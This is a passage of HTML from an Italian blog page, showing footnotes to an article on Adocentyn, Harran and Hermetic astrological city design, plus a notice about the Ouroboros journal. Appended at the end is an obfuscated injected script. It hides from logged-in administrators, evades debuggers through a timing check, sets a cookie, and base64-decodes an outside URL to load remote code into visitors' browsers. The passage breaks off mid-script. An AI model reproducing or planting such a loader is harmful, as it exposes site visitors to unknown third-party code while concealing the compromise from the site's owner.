name=\"sdfootnote32sym\">32<\/a>Tutte queste notizie su <i>Harran<\/i> provengono dal&#8217;l&#8217;unico studio pubblicato sull&#8217;argomento <i>The ancient observatory of Eski Sumatar<\/i>, di Theodor Hary, citato in rete su <a href=\"http:\/\/mystero.forumcommunity.net\/?t=51178992\" target=\"_blank\" rel=\"noopener\">http:\/\/mystero.forumcommunity.net\/?t=51178992<\/a> &#8211; <a href=\"http:\/\/unchartedruins.blogspot.it\/2012\/07\/harran-of-sabians.html\" target=\"_blank\" rel=\"noopener\">http:\/\/unchartedruins.blogspot.it\/2012\/07\/harran-of-sabians.html<\/a> &#8211; <a href=\"http:\/\/unchartedruins.blogspot.it\/2012\/08\/the-hall-of-records-temple-of-seven.html\" target=\"_blank\" rel=\"noopener\">http:\/\/unchartedruins.blogspot.it\/2012\/08\/the-hall-of-records-temple-of-seven.html<\/a> . Su questi siti \u00e8 possibile vedere anche numerose e splendide foto di <i>Harran <\/i>e <span style=\"color: #000000;\"><span style=\"font-family: Times New Roman,serif;\"><i>Eski So\u011fmatar.<\/i><\/span><\/span><\/span><\/p>\n<\/div>\n<div id=\"sdfootnote33\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\" lang=\"it-IT\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote33anc\" name=\"sdfootnote33sym\">33<\/a><i>Cosimo I d\u00e8 Medici<\/i> nel 1564 fece costruire, ex novo, una citt\u00e0 fortificata che chiam\u00f2 \u00abTerra del Sole\u00bb. Questa doveva assolvere a funzioni amministrative, giudiziarie, militari, religiose e commerciali ai confini con la Romagna, oltre a rafforzare l&#8217;identificazione tra la figura di <i>Cosimo <\/i>e il<i> Sole<\/i>, simbolo di quell&#8217;Ordine e di quella Razionalit\u00e0 che il Duca voleva incarnare.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote34\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote34anc\" name=\"sdfootnote34sym\">34<\/a>ANNA MARIA PARTINI, <i>Magia astrologica: da Ermete a Cecco D&#8217;Ascoli e da Cecco D&#8217;Ascoli a Campanella<\/i>.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote35\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote35anc\" name=\"sdfootnote35sym\">35<\/a>Va notato come anche la Tomba di <i>Rosenkreutz<\/i>, descritta nella<i> Fama Fraternitas<\/i>, sia stata costruita astronomicamente come Adocentyn, per rappresentare una immagine dell&#8217;Universo. \u00abLa mattina seguente aprimmo la porta e vedemmo un sepolcro con <i>sette lati e sette angoli<\/i>; ogni lato era lungo un metro e mezzo e alto due metri e mezzo circa. Sebbene la luce del sole non vi fosse mai penetrata, la cappella <i>era illuminata da un Sole artificial<\/i>e, che pareva aver imparato dall&#8217;astro il segreto dell&#8217;illuminazione ed era sospeso in alto al centro della volta. Nel mezzo, invece di una pietra tombale, vi era un altare rotondo, ricoperto da una lastra di ottone su cui era inciso: \u00abA.C.R.C. Hoc universi compendium unius mihi sepulcrum feci\u00bb [\u00ab<i>Feci questo compendio dell&#8217;universo durante la mia vita perch\u00e9 costituisse la mia tomba<\/i>\u00bb]. Intorno al primo cerchio, o bordo, vi era: \u00abIesus mihi omnia\u00bb [\u00abGes\u00f9, tutto per me\u00bb]. A<i>l centro vi erano quattro figure<\/i>, inscritte in cerchi, ciascuna circondata da uno dei seguenti motti [&#8230;]. Questa cappella la dividemmo in tre parti:<i> la volta o soffitto, le pareti o lati, il pavimento o suolo<\/i>.\u00bb<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote36\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote36anc\" name=\"sdfootnote36sym\">36<\/a>CLAUDIO STROPPA, <i>Jan Amos Comenius e il Sogno Urbano<\/i>, Milano, Franco Angeli Editore, 2007.<\/span><\/p>\n<\/div>\n<div id=\"sdfootnote37\" style=\"text-align: justify;\">\n<p class=\"sdfootnote\"><span style=\"font-size: 10pt;\"><a class=\"sdfootnotesym\" href=\"#sdfootnote37anc\" name=\"sdfootnote37sym\">37<\/a>JEAN SERVIER, <i>Storia dell&#8217;Utopia. Il Sogno dell&#8217;Occidente da Platone ad Aldous Huxley,<\/i> Roma, Edizioni Mediterranee, 2002 (1a ed. 1967).<\/span><\/p>\n<\/div>\n<div style=\"text-align: justify;\"><hr>\n<p><span style=\"font-size: 10pt;\">Potete leggere l&#8217;articolo anche n<a href=\"https:\/\/www.elenafrascaodorizzi.it\/libri\/wp-content\/uploads\/2015\/07\/rivista_ouroboros_2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-310\" src=\"https:\/\/www.elenafrascaodorizzi.it\/libri\/wp-content\/uploads\/2015\/07\/rivista_ouroboros_2-212x300.jpg\" alt=\"rivista_ouroboros_2\" width=\"212\" height=\"300\"><\/a>ella Rivista On Line <em>Ouroboros, Rivista di Studi Tradizionali<\/em>, e potete leggerlo <a href=\"https:\/\/www.scribd.com\/doc\/266157496\/Adocentyn-La-Citta-Di-Ermete-Trisemgisto-OUROBOROS-Anno-2-n-3-2013\" target=\"_blank\" rel=\"noopener\">on line su Scribd <\/a>(senza note, corredato da tante belle immagini) o nella mia <a href=\"http:\/\/www.riflessioni.it\/alchimia\" target=\"_blank\" rel=\"noopener\">Rubrica sull&#8217;Alchimia<\/a> su Riflessioni.it (<em>con tutte le note<\/em>).<\/span><\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><span style=\"font-size: 10pt;\">P.S. per abbonarvi gratis alla Rivista andate sulla <a href=\"https:\/\/www.facebook.com\/pages\/OUROBOROS\/320986031322801?fref=ts\" target=\"_blank\" rel=\"noopener\">Pagina Facebook della Rivista<\/a> e seguite le istruzioni (oppure sul loro <a href=\"http:\/\/www.orizzontemagazine.it\/orizzontegroup\/ouroboros\/\" target=\"_blank\" rel=\"noopener\">sito<\/a>).<\/span><\/p>\n<\/div>\n<div style=\"text-align: justify;\"><hr>\n<p>&nbsp;<\/p>\n<\/div>\n<p><span style=\"border-radius: 2px; text-indent: 20px; width: auto; padding: 0px 4px 0px 0px; text-align: center; font: bold 11px\/20px 'Helvetica Neue',Helvetica,sans-serif; color: #ffffff; background: #bd081c  no-repeat scroll 3px 50% \/ 14px 14px; position: absolute; opacity: 1; z-index: 8675309; display: none; cursor: pointer;\">Salva<\/span><\/p>\n<p><span style=\"border-radius: 2px; text-indent: 20px; width: auto; padding: 0px 4px 0px 0px; text-align: center; font: bold 11px\/20px 'Helvetica Neue',Helvetica,sans-serif; color: #ffffff; background: #bd081c  no-repeat scroll 3px 50% \/ 14px 14px; position: absolute; opacity: 1; z-index: 8675309; display: none; cursor: pointer;\">Salva<\/span><\/p>\n<p><span style=\"border-radius: 2px; text-indent: 20px; width: auto; padding: 0px 4px 0px 0px; text-align: center; font: bold 11px\/20px 'Helvetica Neue',Helvetica,sans-serif; color: #ffffff; background: #bd081c  no-repeat scroll 3px 50% \/ 14px 14px; position: absolute; opacity: 1; z-index: 8675309; display: none; cursor: pointer;\">Salva<\/span><\/p>\n<p><span style=\"border-radius: 2px; text-indent: 20px; width: auto; padding: 0px 4px 0px 0px; text-align: center; font: bold 11px\/20px 'Helvetica Neue',Helvetica,sans-serif; color: #ffffff; background: #bd081c  no-repeat scroll 3px 50% \/ 14px 14px; position: absolute; opacity: 1; z-index: 8675309; display: none; cursor: pointer;\">Salva<\/span><\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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